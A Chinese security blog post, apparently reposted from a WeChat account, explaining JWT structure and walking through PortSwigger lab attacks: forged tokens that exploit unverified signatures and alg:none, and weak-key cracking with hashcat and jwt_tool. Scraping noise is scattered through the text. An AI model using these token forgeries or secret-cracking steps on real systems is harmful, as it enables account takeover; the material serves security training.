干货 | JWT渗透姿势一篇通
; q) g3 u! ]' [, S' [0 _6 `$ h 渗透安全团队 2023-10-20 00:00 湖北; A4 ^( H3 c/ H2 \1 g% ^9 w
: X1 ^( D) b. [ 文章前言
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
: u1 H/ L$ I) @9 t1 e9 z4 x
企业内部产品应用使用JWT作为用户的身份认证方式,在对应用评估时发现了新的关于JWT的会话安全带来的安全问题,后期再整理时又加入了之前遗留的部分JWT安全问题,至此汇总成一篇完整的JWT文章
简单介绍
; x. q! K c( L& S) u- O2 P JWT(JSON Web Token)是一种用于身份认证和授权的开放标准,它通过在网络应用间传递被加密的JSON数据来安全地传输信息使得身份验证和授权变得更加简单和安全,JWT对于渗透测试人员而言可能是一种非常吸引人的攻击途径,因为它们不仅是让你获得无限访问权限的关键而且还被视为隐藏了通往以下特权的途径,例如:特权升级、信息泄露、SQLi、XSS、SSRF、RCE、LFI等 E& J& \; t9 O+ X2 l
+ K8 h, Q4 p: Y C% }, G* Z3 v基础概念3 d& ~# X" J1 @9 @- y2 J0 U) s
基本结构0 X7 p4 q) h5 X% s
9 s0 r# S( f7 E% Q8 A& A, X' l7 I, q: I2 z! C: o# b- c6 z% r JWT(JSON Web Token)的结构由三部分组成,分别是Header、Payload和Signature,下面是每一部分的详细介绍和示例:
Header
6 \: u N2 Z: P. I$ I/ s/ ^3 c" H# Q2 z0 M) i' n' \
Header包含了JWT使用的算法和类型等元数据信息,通常使用JSON对象表示并使用Base64编码,Header中包含两个字段:alg和typ
* H8 n5 R E9 i0 b
alg(algorithm):指定了使用的加密算法,常见的有HMAC、RSA和ECDSA等算法
typ(type):指定了JWT的类型,通常为JWT
8 S2 W c% B! H% j" @ 下面是一个示例Header:
{
"alg": "HS256",
# n# ^' x) R; j% S' G9 q& s
"typ": "JWT"
6 S1 H2 ]7 F- I! ^8 O
}; |# Q% l7 |) N
; N/ L4 j* @* z* C: X 其中alg指定了使用HMAC-SHA256算法进行签名,typ指定了JWT的类型为JWT
6 l- [0 T6 w `4 R t* y. A Payload( Y* {1 j2 Q' T8 v% D: K/ C
* ?, |! I9 A! T- M; B0 Y! X. X, r5 k/ z# i Payload包含了JWT的主要信息,通常使用JSON对象表示并使用Base64编码,Payload中包含三个类型的字段:注册声明、公共声明和私有声明3 y ~9 t- [4 H+ Z/ J) H
下面是一个示例Payload:1 [$ I* b( {" r
{
. ?4 I Q: ^4 C
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}% U8 O. M1 o# a& k& v/ J \
其中sub表示主题,name表示名称,iat表示JWT的签发时间
- X- ?4 v" }. w/ ]# o* W. l6 e6 kSignature, V* e8 d0 ]% _3 K7 b- m
. L. v- Y! r9 C# d: g+ V' \Signature是使用指定算法对Header和Payload进行签名生成的,用于验证JWT的完整性和真实性,Signature的生成方式通常是将Header和Payload连接起来然后使用指定算法对其进行签名,最终将签名结果与Header和Payload一起组成JWT,Signature的生成和验证需要使用相同的密钥,下面是一个示例Signature; O% v n2 D3 G2 X: r- f
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
& s& t3 E+ J: Y- A) U5 t' ]其中HMACSHA256是使用HMAC SHA256算法进行签名,header和payload是经过Base64编码的Header和Payload,secret是用于签名和验证的密钥,最终将Header、Payload和Signature连接起来用句点(.)分隔就形成了一个完整的JWT,下面是一个示例JWT,其中第一部分是Header,第二部分是Payload,第三部分是Signature,注意JWT 中的每一部分都是经过Base64编码的,但并不是加密的,因此JWT中的信息是可以被解密的
B9 b- |% {/ b/ j& G; X/ o" A
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
$ x# \/ [( d+ n" ~5 v
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c/ z; C. `) A( y
% z+ N7 A7 A& o, o2 V5 q 在线平台
- k# A2 M+ A6 v) B# B" v7 A- N# ]0 V
下面是一个JWT在线构造和解构的平台:
: w% G0 j. A) J0 s
https://jwt.io/. J% a* Q3 Y! h9 O0 W' p8 B& W) k2 t
3 Z9 _# A+ t1 H4 N 工作原理
4 P% c+ w) A9 A- |$ DJWT工作原理
`. Z! ?" X3 @+ @; ?JWT的工作流程如下:
. z, J) h, d! h; z1 t {- iJKU工作原理
( [4 d$ b1 O8 i9 G6 h r0 o( u: P: n( x% e# j9 l+ M Step 1:用户携带JWS(带有签名的JWT)访问应用
# H9 q/ Z+ c$ x9 M
. K0 n/ v. d: X4 E- U$ Q
Step 2:应用程序解码JWS得到JKU字段
! h5 I& j6 G# A2 G
: r% A9 m- G: {% J Step 3:应用根据JKU访问返回JWK的服务器
/ c7 _: Q# ?9 n$ G3 ]0 |/ B
Step 4:应用程序得到JWK
/ X8 R' ~1 h! G/ r# Y. ]
7 E8 ~9 D; U0 w) b7 `4 b. E9 o Step 5:使用JWK验证用户JWS
- x2 ^$ S& |) c5 L4 D. `& H: W. D' `& r
0 R3 w w, x m ~4 f
$ D( `$ z- H- B2 X7 |- i Step 6:验证通过则正常响应
' a$ l; N' D& m1 t4 N5 R" \& b/ S. T+ Q* f+ k7 `
) B% W' D p5 |* C1 x2 u 漏洞攻防
! u/ q& |* Y6 I: C7 P; H/ z$ q I/ E `签名未校验+ C3 W3 P* w) _
. M& H- R* u0 t' k. J 验证过程; N2 V8 ^9 b( p
JWT(JSON Web Token)的签名验证过程主要包括以下几个步骤:
4 Y' ^; T# s0 ~# m) y 下面是一个使用JAVA进行JWT签名验证的示例代码:
' w: i% D O; v1 }4 O; d
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
' O* G+ W* q1 m$ J* M
public class JWTExample {
# ]) \9 S& E) ?
private static final String SECRET_KEY = "my_secret_key";
public static void main(String[] args) {
# l* Q6 V! ?' t6 z' P
// 构建 JWT
String jwtToken = Jwts.builder()
.setSubject("1234567890")
. P2 _: u& {$ F L# u8 e* A4 V! ?
.claim("name", "John Doe")
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1 hour
; w/ c* V, k7 h4 @* t T: i0 W
.signWith(SignatureAlgorithm.HS256, SECRET_KEY)
.compact();
- j1 x$ _- e2 m9 E; }. J
// 验证 JWT
1 W: ?, L" z. q
try {
// 分离 Header, Payload 和 Signature
% }; z4 k& s& U- i6 c% B/ m8 D8 ^
String[] jwtParts = jwtToken.split("\\.");
; V7 N! ?0 v) w7 s$ ~8 n5 d% J
String header = jwtParts[0];
# \" @! x8 V; Q, A+ V, G' B
String payload = jwtParts[1];
String signature = jwtParts[2];
# {$ t& V7 M+ p% w. _. ]
// 验证签名
String expectedSignature = Jwts.parser()
.setSigningKey(SECRET_KEY)
.parseClaimsJws(jwtToken)
1 H* n6 v }+ S ~ K
.getSignature();
if (!signature.equals(expectedSignature)) {
throw new RuntimeException("Invalid JWT signature");
1 ^7 C/ n; ?, S+ c2 D8 e
}
4 |; j8 N7 h) L! V
// 验证 Payload 中的信息
Claims claims = Jwts.parser()
.setSigningKey(SECRET_KEY)
.parseClaimsJws(jwtToken)
& D9 G! J/ j, T
.getBody();
System.out.println("Valid JWT");
/ f9 p; ?* v6 w& [
} catch (Exception e) {
System.out.println("Invalid JWT: " + e.getMessage());
9 [/ J- @3 R3 w% b- M
}
}
}
0 p' _# t0 p2 f) l5 Q7 G i 在上面的示例代码中使用jwt库进行JWT的签名和验证,首先构建了一个JWT,然后将其分离为Header、Payload和Signature三部分,使用parseClaimsJws函数对JWT进行解析和验证,从而获取其中的Payload中的信息并进行验证,最后如果解析和验证成功,则说明JWT是有效的,否则说明JWT是无效的,在实际应用中应该将SECRET_KEY替换为应用程序的密钥0 e4 S K3 z. \& w7 f
+ V" m4 `% P) e: |0 s' o0 j* Y; P 漏洞案例: w/ t, `6 A# H; _: g3 @
! {( t; T" O6 W3 Z( i5 M
JWT库会通常提供一种验证令牌的方法和一种解码令牌的方法,比如:Node.js库jsonwebtoken有verify()和decode(),有时开发人员会混淆这两种方法,只将传入的令牌传递给decode()方法,这意味着应用程序根本不验证签名,而我们下面的使用则是一个基于JWT的机制来处理会话,由于实现缺陷服务器不会验证它收到的任何JWT的签名,如果要解答实验问题,您需要修改会话令牌以访问位于/admin的管理面板然后删除用户carlos,您可以使用以下凭据登录自己的帐户:wiener:peter
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature. f. H$ Y/ d' {* ?$ z9 u! t4 B
演示步骤:
Step 1:点击上方的"Access the Lab"访问靶场并登录账户
2 h5 I1 u U. S' V! d
Step 2:进入到Web界面并登录靶场账户' _0 K' B) c- } @ d/ h
& f6 r1 C4 J+ T8 F# }- D/ r g5 E( B/ s/ \( Z# O wiener:peter4 U* J+ E/ O; m$ Z
4 w' ?' ]& T4 u, P
" g, L' S6 F" n9 M$ c
) V8 {* X9 H' I5 E. i
3 P' d0 N" ~/ S/ Q
登录之后会看到如下一个更新邮箱的界面$ K+ G/ R) X& V0 n, ~
Step 3:此时在我们的burpsuite中我们可以看到如下的会话信息" q/ ]4 \1 V( {, O6 O3 u
& C* A. \2 u/ c% p( S7 ^, `" h$ {/ a
! o/ |* x2 E7 i! \- R: E) a# T 此时查询当前用户可以看到会显示当前用户为wiener:7 o/ i- f' f! c/ M1 d8 k' P
# V2 n7 [( y+ s+ w
截取上面中间一部分base64编码的部分更改上面的sub为"administrator"
( t# \/ y% s* t3 o( r1 G/ E* g+ ?! S B+ F7 {/ h* V$ c eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MDA4M30# a+ q9 w+ A8 w8 ]1 s
$ Q, B' Y3 v6 R y
构造一个sub为"administrator"的载荷并将其进行base64编码处理:9 R# G+ W3 L8 c b! s2 X
3 a) l0 T9 y3 C2 m$ q/ s. ^5 k1 I y y! e7 E4 `0 L eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTAwODN9
1 H/ h! x, T( \* S! w: `* S! k) {
- \! B! A! c- q: M; O% D
& t9 p- L6 O( T# e. l# U9 E x 替换之后重新发送请求:
+ B- X2 ?1 |0 x+ l
9 f k4 u' ]9 B: L! T6 s" J' w, c- S: n
6 a$ d* c4 d' @) E) j# z/ B4 h4 k& H# \8 X 按照题目要求访问/admin路径,发现两个删除用户的调用接口:
/ c0 r) ^$ | R& J% w# g
请求敏感链接——删除用户carlos+ E& I3 e9 e& v1 j
GET /admin/delete?username=carlos HTTP/1.1! e) X0 R8 C/ _0 h+ `( M. x
h: P( @( w2 H% R2 ^) ~8 c& u; V& z* u: \" \2 ]
完成靶场的解答:; o! P- D) o$ }6 V5 F# k& C
7 L/ v2 X2 M3 d/ ?9 P' L i* T* R
" N' w; Q4 Q( O8 ^! j1 n+ T8 W
+ K1 L; E# v$ ~ 签名用None. k7 c3 }" O/ P3 T
$ [2 |% u3 M# {" X6 G1 V8 h; O, _3 j) E# M; \4 {% N# F3 ~2 l3 j 场景介绍' H Z% ]: }+ Y& H' [
k% _" x2 r: g8 }0 k3 O; h A7 g, ~0 J" L3 T* U8 A 在JWT的Header中alg的值用于告诉服务器使用哪种算法对令牌进行签名,从而告诉服务器在验证签名时需要使用哪种算法,目前可以选择HS256,即HMAC和SHA256,JWT同时也支持将算法设定为"None",如果"alg"字段设为"None",则标识不签名,这样一来任何token都是有效的,设定该功能的最初目的是为了方便调试,但是若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为"None"来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站
& H2 q2 M9 W/ S/ S' b) T& m; W' Q* l' p+ T
{
1 u v3 ]9 P- w& C3 {, Y2 t" i1 I
"alg": "none",
" b9 s2 q/ b1 N
"typ": "JWT"
5 D3 I) V$ R1 s9 F+ Y! C
}3 U; x- e' y9 {& q0 |! Q
8 b% {$ _' O0 R- y% { 漏洞案例% h: w0 I# A0 I7 Q; H* q3 Z
$ l: [* h) v- f* w) w3 o* V8 U- p. X5 H' i! @ 实验靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
# {5 }3 q; b2 q* i# W0 J+ s9 n& s/ u$ l" [9 t& f" L
实验流程:
Step 1:点击上方的"Access the lab"访问靶场环境
' |+ p$ S- u4 v; w$ v J
https://0a9c00a8030ba77784d7b92d ... curity-academy.net/& p* e- k" K9 A' k! \% G9 h
8 a3 ?6 J1 c% h( m: e* D# C 8 G. {) r8 t3 G/ r, N# w
& `6 g* O: U" o _; @/ RStep 2:使用账户密码进行登录
wiener:peter
. K% t8 F$ \2 `+ ?! Z
6 V' t9 g+ m& x6 d+ E- R I0 X( V7 @ Step 3:登录之后可以看到如下界面
; O0 s% u2 w% M- y8 w5 u( s
* _7 n; i/ I' M0 u' t Z3 S, ]0 H Step 4:捕获到的数据报信息如下所示0 c! V) N- A0 |& T9 f$ j* j9 Q
/ o' A7 \: z7 G# k# i7 Q1 `% ]6 z # X3 c9 p L; u: F# X! V n
" Q' F/ }! B- K3 i' {- L, [% Z8 S" L截取JWT的第二部分对其进行base64解码:0 l3 ^2 ~4 ^; W6 G+ j$ D1 R
) @" [7 E% o% ^9 D; RS9 @% P- [2 u" w& k eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MzQ5M30$ i8 @( }6 F3 w. N& D5 f- ]
- M: g, n- n1 l5 W' w( l7 Q2 [. ]0 P$ @& _9 c. Y) G6 e
! P4 a$ X0 h9 }+ |1 _$ s' w; C 将上述的sub字段值更改为"administrator"% f% [+ T5 p# U; g+ o
0 L* \! C- {+ ^, K4 feyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTM0OTN9
* l/ D/ k* L' f/ I; m3 P; c v! C$ O3 T
Step 4:在使用wiener用户的凭据访问/admin是会提示401 Unauthorized# b0 r5 C- ?9 `! k2 ?8 C& t' \
& s) F3 {* m% j- d1 q8 D2 X% p) e) y* i) k 5 V; n2 s" ]; |
Step 5:将第一步分的alg参数改为none0 O' ?3 T1 \# E! k- s8 w1 D
+ t" y$ _: u) Q% ^ p9 HeyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJSUzI1NiJ9
9 y, U/ s' H1 u2 T% m5 ]9 U1 L# j* n7 q3 N5 b1 @" \% D# f
' H+ U3 k# O, q" r7 u$ v$ ^! M9 e更改之后的header部分:
( A3 C) u/ T3 d5 G# C! p/ A; u: O% b eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJub25lIn0=
' Z8 J$ _$ A7 q5 y8 {" Y( y. ]) O9 K
替换JWT Token中的第二部分为之前我们构造的信息,同时移除签名部分,再次请求数据获取到敏感数据链接
0 H4 e8 c! r5 W5 q; @& s+ G
) ]) j9 w) o' e5 { 调用敏感链接移除用户信息,完成解题操作:' C, f8 n$ [0 E& {1 a
) C$ r8 L8 R7 g3 k* S8 q$ b/ t2 @( F- E* d& d7 V/ c+ D % J/ Q+ K @' o' }
& h# `' D+ n) H/ y# k7 Z' w; S9 V: ~5 G' b$ P
密钥暴力猜解1 R) m6 d/ W- Q4 i1 G
! A* A2 o- _7 s$ x- t+ U! F密钥介绍6 [ Q: Z# Z4 V+ c5 K/ _
( P" x0 w0 p/ N$ v$ X( ] 在JT中密钥用于生成和验证签名,因此密钥的安全性对JWT的安全性至关重要,一般来说JWT有以下两种类型的密钥:5 p! C8 A- h( x
0 d5 H% r) F3 G: ~# L, l) m% L+ u9 }( I下面是一个使用JWT和对称密钥的JAVA示例代码:( w. r V5 j5 A& F. o" n O. h
import io.jsonwebtoken.Jwts;
2 H0 R, c1 ` v
import io.jsonwebtoken.SignatureAlgorithm;
9 w, i" D' |8 ^2 {/ w }
import java.util.Date;
2 j( L4 B; T5 ?0 `* N: F
public class JWTExample {
private static final String SECRET_KEY = "mysecretkey"; // 设置密钥
2 c- | r" N' q( F0 l
- g" h( p C5 I
public static void main(String[] args) {
) W' a, x0 Q/ ^$ g6 a) l* q
String token = createJWT("123456"); // 生成JWT
System.out.println(token);
4 @; r1 f8 A* K' i% p
String result = parseJWT(token); // 验证JWT
System.out.println(result);
* d$ m( N& y9 n% C; M& B
}
" a8 Z/ j/ Q! _4 X6 h, `( u
public static String createJWT(String id) {
$ ]: p1 U4 Q5 v5 _/ K7 s) n' o
// 设置JWT过期时间为1小时
long nowMillis = System.currentTimeMillis();
: ]8 C- ]% o2 M$ ~
Date now = new Date(nowMillis);
long expMillis = nowMillis + 3600000; // 1小时
" K b4 H/ n- A! U9 s
Date exp = new Date(expMillis);
6 U6 Q& Y9 }0 v8 V
// 生成JWT
) h9 c7 P8 e/ H* R. ?
String token = Jwts.builder()
.setId(id)
.setIssuer("issuer")
. U* w' m3 U3 E5 {9 q
.setSubject("subject")
.setIssuedAt(now)
1 ?' F, M! n/ s, X" M
.setExpiration(exp)
.signWith(SignatureAlgorithm.HS256, SECRET_KEY)
.compact();
3 w& {$ ~8 R' y {
return token;
}
% D( Q9 e1 u' j. ]* B
public static String parseJWT(String token) {
// 验证JWT是否合法
9 R! J- d, r# b6 W. M' f2 B1 r$ q
String result = "";
try {
/ x" F t0 e' Z0 M
result = Jwts.parser()
.setSigningKey(SECRET_KEY)
4 c [, n' r( I* X/ ]; O8 L0 h ^
.parseClaimsJws(token)
# _( b v' e& _! B& L4 |9 A
.getBody()
" v) L3 ^5 |# Y4 k+ h! V
.getId();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
9 b3 ^: g A. \: u
}4 p" z7 U8 b9 ?1 q( v; q7 L
下面是一个使用JWT和非对称密钥的Java示例代码,代码中使用了RSA算法生成非对称密钥对:% w: q$ A4 ]8 [+ h
* n9 D+ h! q7 Q* f v$ v/ M, w1 O9 G
import io.jsonwebtoken.Claims;
7 u+ i. ? r7 R3 f
import io.jsonwebtoken.Jwts;
' t: K- }7 @1 D) a; F) ^
import io.jsonwebtoken.SignatureAlgorithm;
1 ]' C' i* J1 j
import io.jsonwebtoken.security.Keys;
# f) O: {1 E& ]9 R
import java.security.KeyPair;
' ^+ ~- P. ]6 d: b, s
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
" u: g2 q* ?% k( n( t( v
import java.security.PrivateKey;
import java.security.PublicKey;
import java.util.Date;
6 s$ D1 N G1 K" s# w
* H3 n% }( G0 ]/ J
public class JWTExample {
- x; V0 S; v/ |
private static final String ISSUER = "example.com";
private static final String SUBJECT = "user@example.com";
+ Z! S% [3 w7 y1 K9 I0 h
public static void main(String[] args) throws Exception {
KeyPair keyPair = generateKeyPair();
# w) A3 I$ a/ C' K% M6 r% g# w1 e I
- v, w, B$ i' O5 j4 V
String token = createJWT(ISSUER, SUBJECT, keyPair.getPrivate());
System.out.println(token);
Claims claims = parseJWT(token, keyPair.getPublic());
6 E" J# W A- K; [8 ~# b
System.out.println(claims.getIssuer());
# M1 i2 o# f% l$ ~% g6 d' U( C7 q
System.out.println(claims.getSubject());
" Q# `4 L% ?* {8 ]" m
}
public static String createJWT(String issuer, String subject, PrivateKey privateKey) {
Date now = new Date();
5 a3 k! j0 V( Q4 H* I& Z+ |( k
Date expiration = new Date(now.getTime() + 3600 * 1000); // 1 hour
4 O5 U) r3 j5 p- Z9 J/ O1 a
return Jwts.builder()
.setIssuer(issuer)
3 d0 u/ D& F( Y6 t4 F8 J
.setSubject(subject)
" e* y) T5 _6 x3 \6 X9 ?
.setIssuedAt(now)
.setExpiration(expiration)
.signWith(privateKey, SignatureAlgorithm.RS256)
) C( O- O" r4 @# w8 ]9 R: p4 o
.compact();
}
- A' A1 l+ S" G# [& w) A8 x
public static Claims parseJWT(String token, PublicKey publicKey) {
return Jwts.parserBuilder()
, ?2 W; ~2 A6 n \: X; T
.setSigningKey(publicKey)
* v& s- s* \- [$ L8 r* T3 x$ a' k
.build()
' A! z; m8 F2 P3 `- P
.parseClaimsJws(token)
0 O; h9 v/ K; }: G, g
.getBody();
6 D3 Y$ f) i2 p& `
}
public static KeyPair generateKeyPair() throws NoSuchAlgorithmException {
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048);
' u/ |% J6 D% G( W+ Q0 f) \
return generator.generateKeyPair();
* R" e, _3 S' n8 i1 I/ a
}
}
在这个示例中我们使用了Java中的KeyPairGenerator类来生成一个2048位的RSA密钥对,然后使用私钥生成JWT,使用公钥验证JWT,在创建JWT时我们设置了JWT的颁发者、主题、签发时间和过期时间并使用signWith()方法和SignatureAlgorithm.RS256算法使用私钥进行签名,在验证JWT时我们使用公钥来解析JWT并获取声明的内容,在实际的研发编码中我们一方面要妥善保管密钥,另一方面需要使用较为复杂难以被猜解的密钥作为密钥首选,例如:随机字母+数字的32位长度组合
4 p1 A1 u! l7 c9 C! E7 ? t! s7 Z) R) j 漏洞案例7 J; m0 P4 B+ a5 V" y' f2 R _4 K1 z
& ^& t7 A# N3 y% L7 d
在实现JWT应用程序时,开发人员有时会犯一些错误,比如:忘记更改默认密码或占位符密码,他们甚至可能复制并粘贴他们在网上找到的代码片段然后忘记更改作为示例提供的硬编码秘密,在这种情况下攻击者使用众所周知的秘密的单词列表来暴力破解服务器的秘密是很容易的,下面是一个公开已知密钥列表:
w3 J2 d Q% \# U7 a
https://github.com/wallarm/jwt-s ... er/jwt.secrets.list
1 w- b) J3 i6 q! l' ^+ j
在这里我们也建议使用hashcat来强力破解密钥,您可以手动安装hashcat,也可以在Kali Linux上使用预先安装好的hashcat,您只需要一个来自目标服务器的有效的、签名的JWT和一个众所周知的秘密的单词表然后就可以运行以下命令,将JWT和单词列表作为参数传入:1 {! s3 y k# c4 ^' a
hashcat -a 0 -m 16500 <jwt> <wordlist>( j' N& G5 i* O5 D4 y
6 k- F' f7 N' w4 L) w* ] Hashcat会使用单词列表中的每个密钥对来自JWT的报头和有效载荷进行签名,然后将结果签名与来自服务器的原始签名进行比较,如果有任何签名匹配,hashcat将按照以下格式输出识别出的秘密以及其他各种详细信息,由于hashcat在本地机器上运行不依赖于向服务器发送请求,所以这个过程非常快,即使使用一个巨大的单词表一旦您确定了密钥,您就可以使用它为任何JWT报头和有效载荷生成有效的签名2 U4 ]7 A. x4 v$ e4 o+ k: v
<jwt>:<identified-secret>0 |, @, ^ O' v! @& \4 S: o
- s% w! L. q. y' H K7 ]3 W. A. W2 {6 f: _* h# ~$ H" E( K 靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key: }4 J2 o4 s8 u$ i4 E
实验步骤:
* q8 p5 h( y9 d$ h2 C
Step 1:点击上述"Access the lab"进入到靶场环境0 \$ Q! f% t8 \8 l; s7 y9 X! Q
* X$ v9 q, L! U/ `
Step 2:使用以下账户进行登录操作
% K5 k! F/ ]) [7 d8 |& I' G9 P wiener:peter( R% _7 k* J( _$ @5 H
6 f# _4 T7 G3 `# L/ x. V6 }0 [0 i ! i G! E- r' y/ ]0 r
- c3 C2 E" x! ^ ^5 W, XStep 3:捕获到如下有效的JWT凭据信息
7 Z5 ]" h! u9 \! d4 g. Q' `3 K, c3 {# a; ~# |8 V2 V( y eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw
( u* k7 |% t% I1 I4 b+ T% o+ n# G7 `2 w1 ?* V 1 u+ S+ d2 O/ x( K# ?$ k; T
( m1 O) J- w7 v9 ~' \1 L6 k. P# g' k& d) W8 B4 H 2 `. T3 D; t# I6 e" l" V1 d$ f
Step 5:使用字典进行暴力猜解操作; ]9 I( @# C9 l7 q" R& d
2 s3 C: k# v4 u5 p {9 ^' l, Y* G6 |9 G+ u
方式一:HashCat
: m& {' [7 B& o- ~; \) _
项目地址:https://github.com/hashcat/hashcat
7 E" s& y6 L$ \) R/ z$ L
项目使用:. R, Y8 j5 b) \" ~: m
#命令格式:
J# C. C: m. q% W; X8 K
hashcat -a 0 -m 16500 <jwt> <wordlist>
' D' C# ~1 ]% R# o7 [( ?- u
#执行示例:
; k+ V1 x3 w- S+ }: ]
hashcat -m 16500 jwt.txt -a 0 secrets.txt --force0 @7 n: E# M* P( V- `
$ K; q4 ~$ c ~" L" H( I! g 3 R& Y; S0 w; m9 V' Y4 t/ q; B
0 K& c/ k0 Z, n$ I6 z# X0 \5 {
方式二:jwt_tool
* [5 r3 h% q; B3 e9 l2 j& G4 X" I
项目地址:https://github.com/ticarpi/jwt_tool
项目介绍:此项目主要用于JWT安全脆弱性评估,目前支持如下几种安全评估测试
) ~3 f" r& T( b; d( K# P+ |
Step 1:克隆项目到本地
- ?3 [$ \' L5 m+ ]8 ?https://github.com/ticarpi/jwt_tool$ a$ E+ T1 l% I4 W
8 O4 j5 f7 C; ?' @* t/ i/ D9 { 2 c9 Y V/ S. L5 h b7 f
* S% i' f. d6 r% e Step 2:安装依赖库
1 c( N+ a8 ?. s- ~8 |& ?pip3 install pycryptodomex
6 E+ W' K% p6 c" \5 w7 t' qStep 3:运行jwt_tool并查看用法信息! G6 C1 W: G* G
python3 jwt_tool.py -h
* r' |9 N: n$ o " a% N& C! ?9 M. U7 R: K
usage: jwt_tool.py [-h] [-b] [-t TARGETURL] [-rc COOKIES] [-rh HEADERS] [-pd POSTDATA] [-cv CANARYVALUE] [-np] [-nr] [-M MODE] [-X EXPLOIT] [-ju JWKSURL] [-S SIGN] [-pr PRIVKEY] [-T] [-I] [-hc HEADERCLAIM] [-pc PAYLOADCLAIM] [-hv HEADERVALUE]
- I+ e9 e- W# j$ Q* D! V1 C p
[-pv PAYLOADVALUE] [-C] [-d DICT] [-p PASSWORD] [-kf KEYFILE] [-V] [-pk PUBKEY] [-jw JWKSFILE] [-Q QUERY] [-v]
3 s: T# Y# h! ?
[jwt]
# A3 u) i$ ~( f0 e
positional arguments:
* Z! K9 r* r# q' O% D7 e3 j; R
jwt the JWT to tinker with (no need to specify if in header/cookies)
1 {% @( a* f' X5 r( h6 d
options:
' k4 W; ^ A8 D- D+ U% C5 ~
-h, --help show this help message and exit
-b, --bare return TOKENS ONLY
-t TARGETURL, --targeturl TARGETURL
URL to send HTTP request to with new JWT
-rc COOKIES, --cookies COOKIES
request cookies to send with the forged HTTP request
-rh HEADERS, --headers HEADERS
& z$ m+ [4 V. I% Y1 F9 p
request headers to send with the forged HTTP request (can be used multiple times for additional headers)
4 J1 a; n- M4 _; z) g( k* @: q7 ?5 q
-pd POSTDATA, --postdata POSTDATA
2 x- z3 \6 j9 O$ Q3 P& B. x- }7 ~& w
text string that contains all the data to be sent in a POST request
-cv CANARYVALUE, --canaryvalue CANARYVALUE
! ~5 [* C2 L9 e* D" [
text string that appears in response for valid token (e.g. "Welcome, ticarpi")
-np, --noproxy disable proxy for current request (change in jwtconf.ini if permanent)
-nr, --noredir disable redirects for current request (change in jwtconf.ini if permanent)
0 t P- S6 ~4 y4 A3 H
-M MODE, --mode MODE Scanning mode:
pb = playbook audit
er = fuzz existing claims to force errors
cc = fuzz common claims
at - All Tests!
+ p8 n) ]. h# v. F6 ^9 C( h
-X EXPLOIT, --exploit EXPLOIT
0 Z- k3 b/ h$ |# H' |
eXploit known vulnerabilities:
: v2 G1 v0 s& V, D/ Z/ r" K& F( }7 l
a = alg:none
n = null signature
b = blank password accepted in signature
8 U6 y1 E# N1 v: L
s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
k = key confusion (specify public key with -pk)
i = inject inline JWKS
' C9 I& F3 m+ d7 V
-ju JWKSURL, --jwksurl JWKSURL
URL location where you can host a spoofed JWKS
-S SIGN, --sign SIGN sign the resulting token:
hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
. O' D$ X5 y- D! q" i, J6 D
rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
es256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)
4 m0 f5 ?) x& \# q1 p9 ^9 H
ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
-pr PRIVKEY, --privkey PRIVKEY
Private Key for Asymmetric crypto
" ^- p* i/ p+ z7 ^7 C4 ?
-T, --tamper tamper with the JWT contents
( e9 u# F# R7 @ O1 I Q
(set signing options with -S or use exploits with -X)
-I, --injectclaims inject new claims and update existing claims with new values
0 ~( i5 }9 T( e1 g
(set signing options with -S or use exploits with -X)
( w' B, D+ p q% `! D) @9 S
(set target claim with -hc/-pc and injection values/lists with -hv/-pv
1 h& o. m2 o$ T
-hc HEADERCLAIM, --headerclaim HEADERCLAIM
% i i+ F5 T4 i) V7 u, c7 l/ \) h8 z
Header claim to tamper with
6 b( }( G; z v4 \2 b
-pc PAYLOADCLAIM, --payloadclaim PAYLOADCLAIM
- T4 X! S/ o8 B# V8 B' b
Payload claim to tamper with
" P; Z1 t2 Z% ~! }9 J, a' P7 t
-hv HEADERVALUE, --headervalue HEADERVALUE
Value (or file containing values) to inject into tampered header claim
-pv PAYLOADVALUE, --payloadvalue PAYLOADVALUE
Value (or file containing values) to inject into tampered payload claim
